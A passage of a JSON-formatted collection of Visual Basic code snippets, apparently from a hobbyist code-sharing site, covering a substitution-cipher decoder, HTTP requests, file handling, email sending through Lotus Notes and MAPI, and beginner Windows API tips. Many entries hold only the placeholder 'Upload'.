Case \")\"\n varChr = \"]*F\"\n Case \"_\"\n varChr = \"@B*\"\n Case \"-\"\n varChr = \"+Hc\"\n Case \"=\"\n varChr = \"&|D\"\n Case \"+\"\n varChr = \"(:#\"\n Case \"[\"\n varChr = \"SlW\"\n Case \"]\"\n varChr = \"'QB\"\n Case \"{\"\n varChr = \"{D>\"\n Case \"}\"\n varChr = \"+c%\"\n Case \":\"\n varChr = \"(s:\"\n Case \";\"\n varChr = \"^a(\"\n Case \"'\"\n varChr = \"16.\"\n Case Chr(34)\n varChr = \"s.*\"\n Case \",\"\n varChr = \"&?W\"\n Case \".\"\n varChr = \"GPQ\"\n Case \"<\"\n varChr = \"SK*\"\n Case \">\"\n varChr = \"RL^\"\n Case \"/\"\n varChr = \"40C\"\n Case \"?\"\n varChr = \"?#9\"\n Case \"\\\"\n varChr = \"_?/\"\n Case \"|\"\n varChr = \"(_@\"\n Case \" \"\n varChr = \"=#B\"\n End Select\n \n varFin = varFin & varChr\n DoEvents\n Loop\n \n Encode = varFin\nEnd Function\nPublic Function DeCode(vText As String)\n Dim CurSpc As Integer\n Dim varLen As Integer\n Dim varChr As String\n Dim varFin As String\n CurSpc = CurSpc + 1\n varLen = Len(vText)\n Do While CurSpc <= varLen\n DoEvents\n \n varChr = Mid(vText, CurSpc, 3)\n \n \n \n Select Case varChr\n 'lower case\n Case \"coe\"\n varChr = \"a\"\n Case \"wer\"\n varChr = \"b\"\n Case \"ibq\"\n varChr = \"c\"\n Case \"am7\"\n varChr = \"d\"\n Case \"pm1\"\n varChr = \"e\"\n Case \"mop\"\n varChr = \"f\"\n Case \"9v4\"\n varChr = \"g\"\n Case \"qu6\"\n varChr = \"h\"\n Case \"zxc\"\n varChr = \"i\"\n Case \"4mp\"\n varChr = \"j\"\n Case \"f88\"\n varChr = \"k\"\n Case \"qe2\"\n varChr = \"l\"\n Case \"vbn\"\n varChr = \"m\"\n Case \"qwt\"\n varChr = \"n\"\n Case \"pl5\"\n varChr = \"o\"\n Case \"13s\"\n varChr = \"p\"\n Case \"c%l\"\n varChr = \"q\"\n Case \"w$w\"\n varChr = \"r\"\n Case \"6a@\"\n varChr = \"s\"\n Case \"!2&\"\n varChr = \"t\"\n Case \"(=c\"\n varChr = \"u\"\n Case \"wvf\"\n varChr = \"v\"\n Case \"dp0\"\n varChr = \"w\"\n Case \"w$-\"\n varChr = \"x\"\n Case \"vn&\"\n varChr = \"y\"\n Case \"c*4\"\n varChr = \"z\"\n \n 'numbers\n Case \"aq@\"\n varChr = \"1\"\n Case \"902\"\n varChr = \"2\"\n Case \"2.&\"\n varChr = \"3\"\n Case \"/w!\"\n varChr = \"4\"\n Case \"|pq\"\n varChr = \"5\"\n Case \"ml|\"\n varChr = \"6\"\n Case \"t'?\"\n varChr = \"7\"\n Case \">^s\"\n varChr = \"8\"\n Case \"<s^\"\n varChr = \"9\"\n Case \";&c\"\n varChr = \"0\"\n \n 'caps\n Case \"$)c\"\n varChr = \"A\"\n Case \"-gt\"\n varChr = \"B\"\n Case \"|p*\"\n varChr = \"C\"\n Case \"1\" & Chr(34) & \"r\"\n varChr = \"D\"\n Case \"c>:\"\n varChr = \"E\"\n Case \"@+x\"\n varChr = \"F\"\n Case \"v^a\"\n varChr = \"G\"\n Case \"]eE\"\n varChr = \"H\"\n Case \"aP0\"\n varChr = \"I\"\n Case \"{=1\"\n varChr = \"J\"\n Case \"cWv\"\n varChr = \"K\"\n Case \"cDc\"\n varChr = \"L\"\n Case \"*,!\"\n varChr = \"M\"\n Case \"fW\" & Chr(34)\n varChr = \"N\"\n Case \".?T\"\n varChr = \"O\"\n Case \"%<8\"\n varChr = \"P\"\n Case \"@:a\"\n varChr = \"Q\"\n Case \"&c$\"\n varChr = \"R\"\n Case \"WnY\"\n varChr = \"S\"\n Case \"{Sh\"\n varChr = \"T\"\n Case \"_%M\"\n varChr = \"U\"\n Case \"}'$\"\n varChr = \"V\"\n Case \"QlU\"\n varChr = \"W\"\n Case \"Im^\"\n varChr = \"X\"\n Case \"l|P\"\n varChr = \"Y\"\n Case \".>#\"\n varChr = \"Z\"\n 'Special characters\n Case \"\\\" & Chr(34) & \"]\"\n varChr = \"!\"\n Case \"cY,\"\n varChr = \"@\"\n Case \"x%B\"\n varChr = \"#\"\n Case \"a*v\"\n varChr = \"$\"\n Case \"'&T\"\n varChr = \"%\"\n Case \";%R\"\n varChr = \"^\"\n Case \"eG_\"\n varChr = \"&\"\n Case \"Z/e\"\n varChr = \"*\"\n Case \"rG\\\"\n varChr = \"(\"\n Case \"]*F\"\n varChr = \")\"\n Case \"@B*\"\n varChr = \"_\"\n Case \"+Hc\"\n varChr = \"-\"\n Case \"&|D\"\n varChr = \"=\"\n Case \"(:#\"\n varChr = \"+\"\n Case \"SlW\"\n varChr = \"[\"\n Case \"'QB\"\n varChr = \"]\"\n Case \"{D>\"\n varChr = \"{\"\n Case \"+c%\"\n varChr = \"}\"\n Case \"(s:\"\n varChr = \":\"\n Case \"^a(\"\n varChr = \";\"\n Case \"16.\"\n varChr = \"'\"\n Case \"s.*\"\n varChr = Chr(34)\n Case \"&?W\"\n varChr = \",\"\n Case \"GPQ\"\n varChr = \".\"\n Case \"SK*\"\n varChr = \"<\"\n Case \"RL^\"\n varChr = \">\"\n Case \"40C\"\n varChr = \"/\"\n Case \"?#9\"\n varChr = \"?\"\n Case \"_?/\"\n varChr = \"\\\"\n Case \"(_@\"\n varChr = \"|\"\n Case \"=#B\"\n varChr = \" \"\n End Select\n varFin = varFin & varChr\n CurSpc = CurSpc + 3\n DoEvents\n Loop\n DeCode = varFin\nEnd Function\n"},{"WorldId":1,"id":3539,"LineNumber":1,"line":"'As you can see I have a winsock control named sckURL.\n'You can change that to anythign you wish.\nWith sckURL\n .SendData \"GET /\" & tPage & \" HTTP/1.1\" & vbCrLf\n .SendData \"Accept: text/plain\" & vbCrLf\n .SendData \"Accept-Language: en-us\" & vbCrLf\n .SendData \"Accept-Encoding: gzip, deflate\" & vbCrLf\n .SendData \"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\" & vbCrLf\n .SendData \"Host: \" & varDom & vbCrLf\n \n .SendData \"Connection: Keep-Alive\" & vbCrLf & vbCrLf\n End With"},{"WorldId":1,"id":3417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3250,"LineNumber":1,"line":"Private Sub Form_Load ()\nDim instring As String\nDim outstring As String\nOn Error GoTo Clnup\nOpen \"FileRead.txt\" For Input As #1 ' file opened for reading\nOpen \"FileOutPut.txt\" For Output As #2 ' file created \n \nLine Input #1, instring\nWhile Not EOF(1)\n Line Input #1, instring\n If Len(outstring) = 0 Then\n outstring = instring\n Else\n outstring = outstring & \",\" & instring\n End If\n \nWend\nPrint #2, outstring\nClose #1\nClose #2\nClnup:\nClose\nEnd\nEnd Sub"},{"WorldId":1,"id":3256,"LineNumber":1,"line":"Private Sub CmdSend_Click() \nDim oSess As Object\nDim oDB As Object\nDim oDoc As Object\nDim oItem As Object\nDim direct As Object\nDim Var As Variant\nDim flag As Boolean\nForm1.MousePointer = 11\nForm1.StatusBar1.SimpleText = \"Opening Lotus Notes...\"\nSet oSess = CreateObject(\"Notes.NotesSession\")\nSet oDB = oSess.GETDATABASE(\"\", \"\")\nCall oDB.OPENMAIL\nflag = True\nIf Not (oDB.ISOPEN) Then flag = oDB.OPEN(\"\", \"\")\nIf Not flag Then\nMsgBox \"Can't open mail file: \" & oDB.SERVER & \" \" & oDB.FILEPATH\nGoTo exit_SendAttachment\nEnd If\nOn Error GoTo err_handler\nForm1.StatusBar1.SimpleText = \"Building Message\"\nSet oDoc = oDB.CREATEDOCUMENT\nSet oItem = oDoc.CREATERICHTEXTITEM(\"BODY\")\noDoc.Form = \"Memo\"\noDoc.subject = Form1.TxtSubject.Text\noDoc.sendto = Form1.TxtSendTo.Text\noDoc.body = Form1.TxtMessage.Text\noDoc.postdate = Date\nForm1.StatusBar1.SimpleText = \"Attaching Database \" & Form1.TxtFilePath\nCall oItem.EMBEDOBJECT(1454, \"\", Form1.TxtFilePath)\noDoc.visable = True\nForm1.StatusBar1.SimpleText = \"Sending Message\"\noDoc.SEND False\nexit_SendAttachment:\nOn Error Resume Next\nSet oSess = Nothing\nSet oDB = Nothing\nSet oDoc = Nothing\nSet oItem = Nothing\nForm1.StatusBar1.SimpleText = \"Done!\"\nForm1.MousePointer = 1\nExit Sub\nerr_handler:\nIf Err.Number = 7225 Then\nMsgBox \"File doesn't exist\"\nElse\nMsgBox Err.Number & \" \" & Err.Description\nEnd If\nOn Error GoTo exit_SendAttachment\nForm1.MousePointer = 1\nEnd Sub"},{"WorldId":1,"id":8334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9731,"LineNumber":1,"line":"Option Explicit\nPrivate Const BIF_RETURNONLYFSDIRS = 1\nPrivate Const BIF_DONTGOBELOWDOMAIN = 2\nPrivate Const MAX_PATH = 260\nPrivate Declare Function SHBrowseForFolder Lib \"shell32\" _\n (lpbi As BrowseInfo) As Long\nPrivate Declare Function SHGetPathFromIDList Lib \"shell32\" _\n (ByVal pidList As Long, _\n ByVal lpBuffer As String) As Long\nPrivate Declare Function lstrcat Lib \"kernel32\" Alias \"lstrcatA\" _\n (ByVal lpString1 As String, ByVal _\n lpString2 As String) As Long\nPrivate Type BrowseInfo\n hWndOwner As Long\n pIDLRoot As Long\n pszDisplayName As Long\n lpszTitle As Long\n ulFlags As Long\n lpfnCallback As Long\n lParam As Long\n iImage As Long\nEnd Type\n\nFriend Function GetFolderName() As String\n'Opens a Treeview control that displays the directories in a computer\n Dim lpIDList As Long\n Dim sBuffer As String\n Dim szTitle As String\n Dim tBrowseInfo As BrowseInfo\n szTitle = \"This is the title\"\n With tBrowseInfo\n .hWndOwner = 0 'Me.hwnd\n .lpszTitle = lstrcat(szTitle, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN\n End With\n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If (lpIDList) Then\n sBuffer = Space(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n End If\n \n GetFolderName = sBuffer\nEnd Function\n"},{"WorldId":1,"id":10505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7119,"LineNumber":1,"line":"Private Sub Form_Load()\n Me.ScaleMode = 3 'Pixel Mode\n Me.MousePointer = 2 'Set Mouse Pointer to Cross\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, _ Shift As Integer, X As Single, Y As Single)\n Cls\n Me.Circle (X, Y), 25 'Draw Circle\n Me.Line (0, Y)-(Me.Width, Y) \n Me.Line (X, 0)-(X, Me.Height) \n Me.CurrentX = X + 35\n Me.CurrentY = Y - 25\n Me.Print \"X: \" & X & \" Y: \" & Y \nEnd Sub"},{"WorldId":1,"id":3322,"LineNumber":1,"line":"How do I change the Double click time of the mouse?\nThe double click time is the time between two consecutive mouse clicks that will cause a double click event. You can change the time from your VB Application by calling the SetDoubleClickTime API function. It has only one parameter. This is the new DoubleClick time delay in milliseconds.\nDeclare Function SetDoubleClickTime Lib \"user32\" Alias _\n\"SetDoubleClickTime\" (ByVal wCount As Long) As Long\nN.B. These changes affect the entire system.\n\n----------------------------------------------------------------------\n\nHow can I hide the cursor?\nYou can use the API function Showcursor, that allows you to control the visibility of the cursor. The declaration for this function is:\nDeclare Function ShowCursor& Lib \"user32\" _\n(ByVal bShow As Long)\nThe Parameter bShow is set to True (non-zero) to display the cursor, False to hide it.\n\n----------------------------------------------------------------------\n\nHow do I swap the mouse buttons?\nUse the API Function SwapMouseButton to swap the functions of the Left and Right mouse buttons. The declare for this function is:\nDeclare Function SwapMouseButton& Lib \"user32\" _\n(ByVal bSwap as long)\nTo swap the mouse buttons, call this function with the variable bSwap = True. Set bSwap to False to restore normal operation.\n\n----------------------------------------------------------------------\n\nHow can I move the mouse cursor?\nYou can use the SetCursorPos Api function. It accepts two parameters. These are the x position and the y position in screen pixel coordinates. You can get the size of the screen by calling GetSystemMetrics function with the correct constants. This example puts the mouse cursor in the top left hand corner.\nt& = SetCursorPos(0,0)\nThis will only work if the formula has bee declared in the declarations section:\nDeclare Function SetCursorPosition& Lib \"user32\" _\n(ByVal x as long, ByVal y as long)\n\n----------------------------------------------------------------------\n\nHow do I find out how much disk space is occupied?\nUse the function GetDiskFreeSpace. The declaration for this API function is:\nDeclare Function GetDiskFreeSpace Lib \"kernel32\" Alias _\n\"GetDiskFreeSpaceA\" (ByVal lpRootPathName As String, _\nlpSectorsPerCluster As Long, lpBytesPerSector As Long, _\nlpNumberOfFreeClusters As Long, lpTotalNumberOfClusters _\nAs Long) As Long\nHere is an example of how to find out how much free space a drive has:\nDim SectorsPerCluster&\nDim BytesPerSector&\nDim NumberOfFreeClusters&\nDim TotalNumberOfClusters&\nDim FreeBytes&\ndummy& = GetDiskFreeSpace(\"c:\\\", SectorsPerCluster, _\nBytesPerSector, NumberOfFreeClusters, TotalNumberOfClusters)\nFreeBytes = NumberOfFreeClusters * SectorsPerCluster * _\nBytesPerSector\nThe Long FreeBytes contains the number of free bytes on the drive.\n\n----------------------------------------------------------------------\n\nChanging the screen resolution\nA big problem for many vb-programmers is how to change the screen resolution, also because in the Api-viewer the variable for EnumDisplaySettings and ChangeDisplaySettings is missing!\n1. Code for the basic-module\nDeclare Function EnumDisplaySettings Lib \"user32\" _\nAlias \"EnumDisplaySettingsA\" _\n(ByVal lpszDeviceName As Long, _\nByVal iModeNum As Long, _\nlpDevMode As Any) As BooleanDeclare Function ChangeDisplaySettings Lib \"user32\" _\nAlias \"ChangeDisplaySettingsA\" _\n(lpDevMode As Any, ByVal dwFlags As Long) As Long\nDeclare Function ExitWindowsEx Lib \"user32\" _\n(ByVal uFlags As Long, ByVal dwReserved As Long) As LongPublic Const EWX_LOGOFF = 0\nPublic Const EWX_SHUTDOWN = 1\nPublic Const EWX_REBOOT = 2\nPublic Const EWX_FORCE = 4\nPublic Const CCDEVICENAME = 32\nPublic Const CCFORMNAME = 32\nPublic Const DM_BITSPERPEL = &H40000\nPublic Const DM_PELSWIDTH = &H80000\nPublic Const DM_PELSHEIGHT = &H100000\nPublic Const CDS_UPDATEREGISTRY = &H1\nPublic Const CDS_TEST = &H4\nPublic Const DISP_CHANGE_SUCCESSFUL = 0\nPublic Const DISP_CHANGE_RESTART = 1Type DEVMODE\n dmDeviceName As String * CCDEVICENAME\n dmSpecVersion As Integer\n dmDriverVersion As Integer\n dmSize As Integer\n dmDriverExtra As Integer\n dmFields As Long\n dmOrientation As Integer\n dmPaperSize As Integer\n dmPaperLength As Integer\n dmPaperWidth As Integer\n dmScale As Integer\n dmCopies As Integer\n dmDefaultSource As Integer\n dmPrintQuality As Integer\n dmColor As Integer\n dmDuplex As Integer\n dmYResolution As Integer\n dmTTOption As Integer\n dmCollate As Integer\n dmFormName As String * CCFORMNAME\n dmUnusedPadding As Integer\n dmBitsPerPel As Integer\n dmPelsWidth As Long\n dmPelsHeight As Long\n dmDisplayFlags As Long\n dmDisplayFrequency As Long\nEnd Type\nExample\nChanges the resolution to 640x480 with the current colordepth.\nDim DevM As DEVMODE\n'Get the info into DevM\nerg& = EnumDisplaySettings(0&, 0&, DevM)\n'We don't change the colordepth, because a\n'rebot will be necessary\nDevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'Or DM_BITSPERPEL\nDevM.dmPelsWidth = 640 'ScreenWidth\nDevM.dmPelsHeight = 480 'ScreenHeight\n'DevM.dmBitsPerPel = 32 (could be 8, 16, 32 or even 4)\n'Now change the display and check if possibleerg& = ChangeDisplaySettings(DevM, CDS_TEST)\n'Check if succesfullSelect Case erg&\nCase DISP_CHANGE_RESTART\n an = MsgBox(\"You've to reboot\", vbYesNo + vbSystemModal, \"Info\")\n If an = vbYes Then\n erg& = ExitWindowsEx(EWX_REBOOT, 0&)\n End If\nCase DISP_CHANGE_SUCCESSFUL\n erg& = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)\n MsgBox \"Everything's ok\", vbOKOnly + vbSystemModal, \"It worked!\"\nCase Else\n MsgBox \"Mode not supported\", vbOKOnly + vbSystemModal, \"Error\"\nEnd SelectEnd Sub\n\n----------------------------------------------------------------------\n\nHow to display the item which the mouse is over in a list box\nI have had many letters which have asked me how to you display in a tooltip or some other means, such as a text box, the current item's text in a list box which the mouse pointer is hovering over. I now have the answer which uses the SendMessage API.\nStart A new Standard-EXE project, form1 is created by default. \nAdd a list box and a text box to form1. \nOpen up the code window for Form1 and type the following \nOption Explicit\nPrivate Declare Function SendMessage Lib _\n\"user32\" Alias \"SendMessageA\" (ByVal hwnd _\nAs Long, ByVal wMsg As Long, ByVal wParam _\nAs Long, lParam As Any) As Long\nPrivate Const LB_ITEMFROMPOINT = &H1A9\nPrivate Sub Form_Load()\nWith List1\n .AddItem \"Visit\"\n .AddItem \"Steve Anderson Web Site AT\"\n .AddItem \"http://www.microweird.demon.co.uk\"\nEnd With\nEnd Sub\nPrivate Sub List1_MouseMove(Button _\nAs Integer, Shift As Integer, X As _\nSingle, Y As Single)\nDim lXPoint As Long\nDim lYPoint As Long\nDim lIndex As Long\nIf Button = 0 Then ' if no button was pressed\n lXPoint = CLng(X / Screen.TwipsPerPixelX)\n lYPoint = CLng(Y / Screen.TwipsPerPixelY)\n With List1\n ' get selected item from list\n lIndex = SendMessage(.hwnd, _\n LB_ITEMFROMPOINT, 0, ByVal _\n ((lYPoint * 65536) + lXPoint))\n ' show tip or clear last one\n If (lIndex >= 0) And _\n (lIndex <= .ListCount) Then\n .ToolTipText = .List(lIndex)\n Text1.Text = .List(lIndex)\n Else\n .ToolTipText = \"\"\n End If\n End With\nEnd If\nEnd Sub\nRun the project(F5) and hover your cursor over different items in the list box and they will be displayed in a tooltip and in Text1. \n\n----------------------------------------------------------------------\n\nFinding out the amount of free memory\nIt is easy to return the amount of free memory in windows, using the GlobalMemoryStatus API call. Insert the following into a module's declarations section:\nPublic Type MEMORYSTATUS \ndwLength As Long \ndwMemoryLoad As Long \ndwTotalPhys As Long \ndwAvailPhys As Long \ndwTotalPageFile As Long \ndwAvailPageFile As Long \ndwTotalVirtual As Long \ndwAvailVirtual As Long\nEnd TypePublic Declare Sub GlobalMemoryStatus _\nLib \"kernel32\" (lpBuffer As MEMORYSTATUS)\nNow, add this code to get the values:\nDim MS As MEMORYSTATUS \nMS.dwLength = Len(MS) \nGlobalMemoryStatus MS\n' MS.dwMemoryLoad contains percentage memory used\n' MS.dwTotalPhys contains total amount of physical memory in bytes\n' MS.dwAvailPhys contains available physical memory\n' MS.dwTotalPageFile contains total amount of memory in the page file\n' MS.dwAvailPageFile contains available amount of memory in the page file\n' MS.dwTotalVirtual contains total amount of virtual memory\n' MS.dwAvailVirtual contains available virtual memory\nYou could use this in about boxes or making a memory monitoring system\n\n----------------------------------------------------------------------\n\n"},{"WorldId":1,"id":3323,"LineNumber":1,"line":"'Author : Damien McGivern\n'E-Mail : D_McGivern@Yahoo.Com\n'Date : 30 Aug 1999\nOption Explicit\nPublic Declare Function SendMessageLong Lib \"USER32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Const EM_GETSEL As Long = &HB0\nPublic Const EM_SETSEL As Long = &HB1\nPublic Const EM_GETLINECOUNT As Long = &HBA\nPublic Const EM_LINEINDEX As Long = &HBB\nPublic Const EM_LINELENGTH As Long = &HC1\nPublic Const EM_LINEFROMCHAR As Long = &HC9\nPublic Const EM_SCROLLCARET As Long = &HB7\nPublic Const WM_SETREDRAW As Long = &HB\nPublic Enum LineInfo\n [Line count] = 0\n [Cursor Position] = 1\n [Current Line Number] = 2\n [Current Line Start] = 3\n [Current Line End] = 4\n [Current Line Length] = 5\n [Current Line Cursor Position] = 6\n [Line Start] = 7\n [Line End] = 8\n [Line Length] = 9\nEnd Enum\nPublic Function getLineInfo(txtObj As Object, info As LineInfo, Optional lineNumber As Long) As Long\n Dim cursorPoint As Long\n '//Record where the cursor is\n cursorPoint = txtObj.SelStart\n Select Case info\n Case Is = 0 ' = \"lineCount\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_GETLINECOUNT, 0, 0&)\n Case Is = 1 ' = \"cursorPosition\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_GETSEL, 0, 0&) \\ &H10000) + 1\n Case Is = 2 ' = \"currentLineNumber\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEFROMCHAR, -1, 0&)) + 1\n Case Is = 3 ' = \"currentLineStart\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, -1, 0&) + 1\n Case Is = 4 ' = \"currentLineEnd\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, -1, 0&) + 1 + SendMessageLong(txtObj.hWnd, EM_LINELENGTH, -1, 0&)\n Case Is = 5 ' = \"currentLineLength\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINELENGTH, -1, 0&)\n Case Is = 6 ' = \"currentLineCursorPosition\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_GETSEL, 0, 0&) \\ &H10000) + 1 - SendMessageLong(txtObj.hWnd, EM_LINEINDEX, getLineInfo(txtObj, [Current Line Number]) - 1, 0&)\n Case Is = 7 ' = \"lineStart\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&)) + 1\n Case Is = 8 ' = \"lineEnd\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&) + 1 + SendMessageLong(txtObj.hWnd, EM_LINELENGTH, (lineNumber - 1), 0&)\n Case Is = 9 ' = \"lineLength\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, lineNumber, 0&)) + 1 - (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&)) - 3\n End Select\nEnd Function\nPublic Function GetLineText(txtObj As Object, lineNumber As Long) As String\n'// If lineNumber = 0 then current line's text is given\n If lineNumber = 0 Then lineNumber = getLineInfo(txtObj, [Current Line Number])\n '// Select text\n Call SendMessageLong(txtObj.hWnd, EM_SETSEL, ((getLineInfo(txtObj, [Line Start], lineNumber)) - 1), ((getLineInfo(txtObj, [Line Start], lineNumber + 1)) - 1))\n GetLineText = txtObj.SelText\nEnd Function\n"},{"WorldId":1,"id":5650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3324,"LineNumber":1,"line":"Public Function CopyFileAny(currentFilename As String, newFilename As String)\nDim a%, buffer%, temp$, fRead&, fSize&, b%\nOn Error GoTo ErrHan:\na = FreeFile\nbuffer = 4048\n Open currentFilename For Binary Access Read As a\n b = FreeFile\n Open newFilename For Binary Access Write As b\n fSize = FileLen(currentFilename)\n \n While fRead < fSize\n DoEvents\n If buffer > (fSize - fRead) Then buffer = (fSize - fRead)\n temp = Space(buffer)\n Get a, , temp\n Put b, , temp\n fRead = fRead + buffer\n Wend\n Close b\n Close a\nCopyFileAny=1\nExit Function\nErrHan:\nCopyFileAny=0\nEnd Function"},{"WorldId":1,"id":3327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3489,"LineNumber":1,"line":"MAPIsession1.SignOn\nif mapisession1.sessionID <> 0 then\nwith mapimessages1\n.sessionid = MapiSession1.sessionID\n.compose \n.recipdisplayname \"YOUR NAME\"\nrecipaddress = \"me@myipdomain.com\"\n.msgsubject = \"SUBJECT\"\n.msgnotetext= \"Message\"\n.send false\nend with\nmapisession1.signoff\nend if\n"},{"WorldId":1,"id":9524,"LineNumber":1,"line":"The Beginners Guide To API\nWhat is Windows API\nIt is Windows Application Programming\nInterface. This basically means that Windows has built in\nfunctions that programmers can use. These are built into its DLL\nfiles. (Dynamic Link Library)\nSo What can these functions do for me (you\nmight ask) ?\nThese pre-built functions allow your program to\ndo stuff without you actually have to program them.\nExample: You want your VB program to Restart\nWindows, instead of your program communicating directly to the\nvarious bits & pieces to restart your computer. All you have\nto do is run the pre-built function that Windows has kindly made\nfor you. This would be what you would type if you have VB4 32, or\nhigher.\nIn your module\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx Lib "user32"\n(ByVal uFlags As Long, ByVal dwReserved As Long) As Long\nIf you wanted your computer to shutdown after\nyou press Command1 then type this In your Form under\nSub Command1_Click ()\nX = ExitWindowsEx (15, 0) \nEnd Sub \n----------------\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx Lib "user32"\n(ByVal uFlags As Long, ByVal dwReserved As Long) As Long\nNow to Explain what the above means\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx tells VB to Declare a Private Function\ncalled "ExitWindowsEx". \nThe Lib "user32" part\ntells VB that the function ExitWindowsEx is in the Library\n(DLL file) called "user32". \nThe final part tells VB to expect the variables\nthat the ExitWindowsEx function uses. \n(ByVal uFlags As Long, ByVal dwReserved As\nLong) As Long\nThe ByVal means pass this variable by\nvalue instead of by reference.\nThe As Long tells VB what data type the\ninformation is.\nYou can find more about data types in your VB\nhelp files.\nNow you should know what each part of the\nDeclaration means so now we go on to what does\nX = ExitWindowsEx (15, 0)\nFor VB to run a function it needs to know where\nto put the data it returns from the function. The X = tells\nVB to put the response from ExitWindowsEx into the\nvariable X. \nWhat's the point of X = \nIf the function runs or fails it will give you\nback a response number so you know what it has done.\nFor example if the function fails it might give\nyou back a number other than 1 so you can write some code to tell\nthe user this.\nIf x <> 1 Then MsgBox "Restart has\nFailed"\n----------\nNow you should know what everything in the\nDeclaration above means. You are now ready to start using API\ncalls in your own VB projects. \nTo get you started I have included some\nuseful API calls you might want to use that I've found on Planet\nSource Code.\nPLAY A WAVEFILE (WAV)\nDeclare <font\ncolor=\"#000080\" size=\"2\">Function\nsndPlaySound Lib<font\nsize=\"2\"> "winmm.dll" Alias "sndPlaySoundA"\n(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long \nPublic <font\ncolor=\"#000080\" size=\"2\">Const SND_SYNC =\n&H0 \n<pre> Public <font\ncolor=\"#000080\">Const SND_ASYNC = &H1\n Public Const SND_NODEFAULT = &H2\n Public Const SND_MEMORY = &H4\n Public Const SND_LOOP = &H8\n Public Const SND_NOSTOP = &H10</pre>\nSub Command1_Click ()\nSoundName$ = File 'file you want to play\nexample "C:\\windows\\kerchunk.wav" \n<pre> wFlags% = SND_ASYNC Or SND_NODEFAULT\n X = sndPlaySound(SoundName$, wFlags%)</pre>\nEnd sub\nCHANGE WALLPAPER\nDeclare <font\ncolor=\"#000080\" size=\"2\">Function\nSystemParametersInfo Lib<font\nsize=\"2\"> "user32" Alias\n"SystemParametersInfoA" (ByVal uAction As Long, ByVal\nuParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As\nLong \n<pre> \n\tPublic Const SPI_SETDESKWALLPAPER = 20\n\nSub Command1_Click ()\nDim strBitmapImage As <font\ncolor=\"#000080\">String\nstrBitmapImage = "c:\\windows\\straw.bmp"\nx = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, strBitmapImage, 0)</pre>\nEnd sub\nADD FILE TO DOCUMENTS OF WINDOWS MENU BAR\nDeclare <font\ncolor=\"#000080\" 